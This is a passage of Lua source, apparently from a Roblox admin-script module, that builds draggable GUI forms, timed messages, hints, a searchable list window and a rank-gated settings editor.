	local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3964
	local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3965
	local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3966
	local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3967
	local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3968
	local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID  
3969
	local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3970
	local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154" 
3971
	local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3972
	
3973
	local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3974
	local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3975
	if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3976
	--local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3977
	--local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true  
3978
	
3979
	CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3980
	
3981
	local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3982
	
3983
	local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3984
	local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3985
	local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3986
	local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3987
	local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3988
	local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3989
	
3990
	if Settings.EnableTaskBar then
3991
		Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3992
	else
3993
		TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3994
		Title.Size = UDim2.new(1, -95, 0, 25)
3995
	end
3996
	
3997
	if not ShowFormButtons then
3998
		X:Destroy()
3999
		TitleEnd:Destroy()
4000
		Title.Size = UDim2.new(1, -55, 0, 25)
4001
	end
4002
	
4003
	local function CloseForm()
4004
		if IsClosed == false then
4005
			IsActive.Value = false
4006
			IsClosed = true
4007
			ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4008
			Closed:Fire()
4009
			SOUND:PlayNotification(Player, 206375138)
4010
		end
4011
	end
4012
	
4013
	local function MinimizeForm()
4014
		if IsActive.Value == true then
4015
			IsActive.Value = false
4016
			Minimized:Fire()
4017
			MinimizePos = Dragger.Position
4018
			ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4019
		end
4020
	end
4021
	
4022
	local function RestoreForm()
4023
		if IsActive.Value == false then
4024
			IsActive.Value = true
4025
			Restored:Fire()
4026
			ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4027
		end
4028
	end
4029
	
4030
	if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4031
	if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4032
	
4033
	Close.OnInvoke = CloseForm
4034
	Minimize.OnInvoke = MinimizeForm
4035
	Restore.OnInvoke = RestoreForm
4036
	
4037
	if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4038
	
4039
	if TaskBar then
4040
		TaskBar:WaitForChild("AddForm")
4041
		TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4042
	end
4043
	
4044
	return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4045
end
4046
4047
function GUI:CoreGui(Player, Type, Enable)
4048
	local Parent = Player:FindFirstChild("Backpack")
4049
	if not Parent then Parent = Player.Backpack end
4050
	CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4051
end
4052
4053
function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4054
	if not Player or not Player:IsA("Player") then return nil end
4055
	if BodyText == "" then return nil end
4056
	if not Player:FindFirstChild("PlayerGui") then return nil end
4057
	
4058
	local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4059
	local TextColor = GUI:GetColor(MessageSplit[1])
4060
	if TextColor then BodyText = MessageSplit[2] end
4061
	BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4062
	
4063
	local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4064
	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4065
	
4066
	if Frame then
4067
		local FormBar = Frame.Parent.Parent.FormBar
4068
		local Said = false
4069
		local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4070
		if Settings.EnableTaskBar then
4071
			FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4072
			FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4073
		else
4074
			Speak.Position = UDim2.new(1, -58, 0, 5)
4075
			FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4076
			FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4077
		end
4078
		CORE:HandleEvent(Speak, "MouseButton1Down", function()
4079
			if not Said then
4080
				Said = true
4081
				SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4082
			end
4083
		end)
4084
		
4085
		if TextColor then
4086
			Body.TextColor3 = TextColor
4087
		else
4088
			Body.TextColor3 = Color3.new(1,1,1)
4089
		end
4090
		
4091
		if tonumber(Time) then coroutine.wrap(function()
4092
			if AutoTime then
4093
				Time = Time + math.floor(#BodyText/7)
4094
			end
4095
			local Alive = true
4096
			
4097
			local function StopTimer() Alive = false end
4098
			Closed.Event:connect(StopTimer)
4099
			Minimized.Event:connect(StopTimer)
4100
			
4101
			Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4102
			Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4103
			local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4104
			local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4105
			CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4106
			for i = Time,0,-1 do
4107
				for ii = 1,10 do
4108
					if Alive == true then
4109
						Ticker.Text = i
4110
						wait(0.1)
4111
					else
4112
						break
4113
					end
4114
				end
4115
			end
4116
			if Alive == true then
4117
				Close:Invoke()
4118
			else
4119
				Ticker:Destroy()
4120
				Stop:Destroy()
4121
				Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4122
				Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4123
			end
4124
		end)() end
4125
		
4126
		CORE:ExecuteResource("CalculateScrollY", Body)
4127
	end
4128
end
4129
4130
function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4131
	if not Player then return nil end
4132
	if not Player:IsA("Player") then return nil end
4133
	if BodyText == "" then return nil end
4134
	if not Player:FindFirstChild("PlayerGui") then return nil end
4135
	BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4136
	local TextColor = GUI:ContrastColor()
4137
	if Error then TextColor = Color3.new(1,0,0) end
4138
	
4139
	local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4140
	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4141
	
4142
	CORE:ExecuteResource("CalculateScrollY", Body)
4143
	
4144
	return Frame, Close, Closed, Minimize, Minimized
4145
end
4146
4147
function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4148
	Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4149
	local TweenTime = 0.5
4150
	if not Time then Time = 5 end
4151
	local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4152
	local MaxPos = -1
4153
	for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4154
		local IVal = SGObj:FindFirstChild("Index")
4155
		if IVal then
4156
			MaxPos = math.max(MaxPos, IVal.Value)
4157
		end
4158
	end
4159
	MaxPos = MaxPos + 1
4160
	local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4161
	local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4162
	local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4163
	local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4164
	local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4165
	SG.Parent = Player.PlayerGui
4166
	
4167
	CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4168
	CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4169
4170
	LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4171
	RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4172
	Delay(TweenTime, function()
4173
		for i = 1,0,-0.1 do
4174
			Body.TextTransparency = i
4175
			wait()
4176
		end
4177
		Body.TextTransparency = 0
4178
	end)
4179
	Delay(TweenTime + Time, function()
4180
		for i = 0,1,0.1 do
4181
			Body.TextTransparency = i
4182
			wait()
4183
		end
4184
		Body.TextTransparency = 1
4185
		local Done = false
4186
		LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4187
		RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4188
	end)
4189
4190
end)() end
4191
4192
function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4193
	if not Player then return nil end
4194
	if not Player:FindFirstChild("PlayerGui") then return nil end
4195
	if not PreSearch then PreSearch = "" end
4196
	if AutoNumber == nil then AutoNumber = true end
4197
	
4198
	local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4199
	local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4200
	SearchBar.Parent = Frame.Parent
4201
	Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4202
	Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4203
	
4204
	local SearchVer = 0,nil
4205
	local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4206
	local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4207
	local InDialog = false
4208
	
4209
	local function ShowResults(Key)
4210
		SearchVer = SearchVer + 1
4211
		local ThisSearchVer = SearchVer
4212
		
4213
		if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4214
		for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4215
	
4216
		local NumPos,Num = 0,1
4217
		
4218
		for _,Data in pairs(List) do
4219
			if ThisSearchVer ~= SearchVer then
4220
				break
4221
			end
4222
			local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4223
			if String then
4224
				local ImageIcon = nil
4225
				if type(Data) == "table" then
4226
					String = Data[1]
4227
					ImageIcon = Data[2]
4228
				end
4229
			
4230
				local TextColor = GUI:ContrastColor()
4231
				local StringSplit = STRING:GetSplit(String, 1, " ")
4232
				local NewColor = GUI:GetColor(StringSplit[1])
4233
				if NewColor then TextColor = NewColor String = StringSplit[2] end
4234
				
4235
				if string.find(string.lower(String), string.lower(Key)) then
4236
					Spacer = false
4237
					local Font = Settings.Font
4238
					local Split = STRING:GetSplit(String, 1, " ")
4239
					if string.sub(string.lower(String),1,6) == "bold: " then
4240
						Font = "ArialBold"
4241
						String = string.sub(String,7)
4242
					elseif Fonts[Split[1]] then
4243
						Font = Split[1]
4244
						String = Split[2]
4245
					end
4246
					if string.sub(String,1,2) == "--" then
4247
						Spacer = true
4248
					end
4249
					local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4250
					if ImageIcon then
4251
						if tonumber(ImageIcon) then
4252
							ImageIcon = "rbxassetid://"..ImageIcon
4253
						elseif Icons[ImageIcon] then
4254
							ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4255
						end
4256
						
4257
						Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4258
						local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4259
						local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4260
						Content.Text = ""
4261
						NumPos = NumPos + 90
4262
					else
4263
						NumPos = NumPos + 30
4264
					end
4265
					
4266
					if not Clickable then
4267
						Content.AutoButtonColor = false
4268
						Content.Active = false
4269
						Content.BackgroundTransparency = 1
4270
					elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4271
						SOUND:BindButton(Content)
4272
						CORE:HandleEvent(Content, "MouseButton1Down", function()
4273
							if not InDialog then
4274
								Clicked:Fire(String)
4275
							end
4276
						end, true)
4277
					end
4278
					if Spacer == false then Num = Num + 1 end
4279
				end
4280
			end
4281
		end
4282
		Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4283
		ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4284
	end
4285
	
4286
	RequestDialog.OnInvoke = function(RequestDialogCall)
4287
		InDialog = RequestDialogCall
4288
	end
4289
	
4290
	ShowResults(PreSearch)
4291
	
4292
	local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4293
	CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4294
		if Prop == "Text" then
4295
			local Text = CORE:ReadProperty(RPR, Player, "Text")
4296
			ShowResults(Text)
4297
			Frame.CanvasPosition = Vector2.new(0,0)
4298
		end
4299
	end)
4300
	
4301
	return Clicked, RequestDialog, Close
4302
end
4303
4304
function GUI:PropertyGui(Player, Title, Icon, Properties)
4305
	if not Player then return nil end
4306
	if not Player:FindFirstChild("PlayerGui") then return nil end
4307
	if type(Properties) ~= "table" then return nil end
4308
	local HasClosed = false
4309
	local NewProperties = {}
4310
	
4311
	local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4312
	Frame.ClipsDescendants = true
4313
	local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4314
	
4315
	for PropertyName,Data in pairs(Properties) do
4316
		NewProperties[PropertyName] = Data[1]
4317
	end
4318
	
4319
	local YCount = 0
4320
	
4321
	for PropertyName,Data in pairs(Properties) do
4322
		if type(Data) == "table" then
4323
			local DefaultValue = Data[1]
4324
			local Writable = Data[2]
4325
			local ValueType = Data[3]
4326
			
4327
			if Writable == nil then Writable = false end
4328
			if type(ValueType) == "string" then -- now this is confusing
4329
				ValueType = string.lower(ValueType)
4330
			elseif ValueType == nil then
4331
				ValueType = type(DefaultValue)
4332
			end
4333
			
4334
			if ValueType == "nil" or ValueType == "userdata" then
4335
				ValueType = nil
4336
			elseif ValueType == "table" then
4337
				DefaultValue = STRING:UnpackArgs(DefaultValue)
4338
				ValueType = "string"
4339
			end
4340
			
4341
			if ValueType then
4342
				local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4343
				local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4344
				local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4345
				
4346
				if ValueType == "string" or ValueType == "number" then
4347
					if Writable == true then
4348
						local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4349
						CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4350
							if ValueType == "number" then
4351
								NewProperties[PropertyName] = tonumber(Input.Text)
4352
							else
4353
								NewProperties[PropertyName] = tostring(Input.Text)
4354
							end
4355
						end end)
4356
					else
4357
						local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4358
					end
4359
				end
4360
				if ValueType == "boolean" then
4361
					local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4362
					if DefaultValue == true then
4363
						Check.Image = "rbxassetid://48138491"
4364
					end
4365
					if Writable == true then
4366
						CORE:HandleEvent(Check, "MouseButton1Down", function()
4367
							local NewVal = not NewProperties[PropertyName]
4368
							NewProperties[PropertyName] = NewVal
4369
							if NewVal == true then
4370
								Check.Image = "rbxassetid://48138491"
4371
							else
4372
								Check.Image = "rbxassetid://48138474"
4373
							end
4374
						end)
4375
					else
4376
						Check.ImageTransparency = 0.5
4377
					end
4378
				end
4379
				YCount = YCount + 50
4380
			end
4381
		end
4382
	end
4383
	
4384
	Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4385
4386
	Closed.Event:connect(function() HasClosed = true end)
4387
	
4388
	repeat wait(0.1) until HasClosed
4389
	return NewProperties
4390
end
4391
4392
function GUI:SettingsGui(Player)
4393
	if not Player then return nil end
4394
	local CloneViewSettings,CanChange = {},false
4395
	
4396
	local ViewSettings = {
4397
		["Version"] = {CORE.Version.Value, false, nil};
4398
		["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4399
		["Font"] = {Settings.Font, 3, "Font"};
4400
		["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4401
		["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4402
		["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4403
		["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4404
		["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4405
		["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4406
		["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4407
		["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4408
		["Group ID"] = {Settings.GroupID, false, "GroupID"};
4409
		["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4410
		["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4411
		["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4412
		["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4413
		["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4414
		["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4415
		["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4416
		["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4417
		["Bet"] = {Settings.Bet, 3, "Bet"};
4418
	}
4419
	
4420
	local _,RankNum = RANK:GetRank(Player)
4421
	if RankNum >= 3 then
4422
		CanChange = true
4423
	end
4424
	
4425
	for Prop,Data in pairs(ViewSettings) do
4426
		local Writable = false
4427
		if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4428
		CloneViewSettings[Prop] = {Data[1], Writable}
4429
	end
4430
	
4431
	local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4432
	if CanChange then
4433
		for Prop,Data in pairs(ViewSettings) do
4434
			if Data[3] then
4435
				Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4436
			end
4437
		end
4438
		CORE:FixSettings()
4439
	end
4440
end
4441
4442
function GUI:MessageAdmins(TitleText, BodyText, Icon)
4443
	for _,Player in pairs(Server.Players:GetPlayers()) do
4444
		local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4445
		if PlayerAdmin then
4446
			GUI:SendMessage(Player, TitleText, BodyText, Icon)
4447
		end
4448
	end
4449
end
4450
4451
function GUI:TellAdmin(Player)
4452
	if not Player then return end
4453
	
4454
	local ValidAdmin,Rank = RANK:IsAdmin(Player)
4455
	if ValidAdmin == true then
4456
		GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4457
		if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4458
			local SoundID = 237866523
4459
			if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4460
			local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4461
			Sound:Play()
4462
			coroutine.wrap(function()
4463
				wait(4)
4464
				Sound:Stop()
4465
				Sound:Destroy()
4466
			end)()
4467
		end
4468
	end
4469
end
4470
4471
function GUI:TellNotAdmin(Player)
4472
	if not Player then return end
4473
	
4474
	GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4475
end
4476
4477
function GUI:CreateTaskBar(Player)
4478
	if not Player then return nil end
4479
	if Settings.EnableTaskBar == false then return nil end
4480
	Player:WaitForChild("PlayerGui")
4481
	local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4482
	if SG then SG:Destroy() end
4483
